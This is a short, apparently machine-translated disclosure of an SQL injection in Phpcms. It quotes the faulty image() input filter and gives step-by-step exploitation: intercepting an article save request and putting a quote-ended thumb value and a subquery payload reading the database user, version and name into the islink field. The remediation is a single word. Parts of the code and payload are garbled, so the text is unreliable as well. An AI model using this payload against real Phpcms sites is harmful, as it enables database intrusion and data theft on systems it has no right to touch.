Phpcms latest SQL Injection

Phpcms latest SQL Injection

Phpcms latest SQL Injection

Vulnerability files
 

/Caches/caches_model/caches_data/content_input.class.phpfunction image ($ field, $ value) {$ value = remove_xss (str_replace (array ("'",'"','(',') '), '', $ value); return trim ($ value );}

Filtering is not single quotes. Due to the relationship between GPC, \ is left, resulting in injection.

Proof of exploits:

Enable contribution

1. First, submit an article and save the point for editing,
 

2. After editing, click Save, and then capture the package and modify it as follows:

Change info [thumb] to: http: // site'

Modify info [islink]:

, Description = (select concat (user (), 0x7c, version (), 0x7c, database () -- s

Final confirmation.

Go to the Edit page again to view the injection results,

 

Vulnerability repair solution: Filter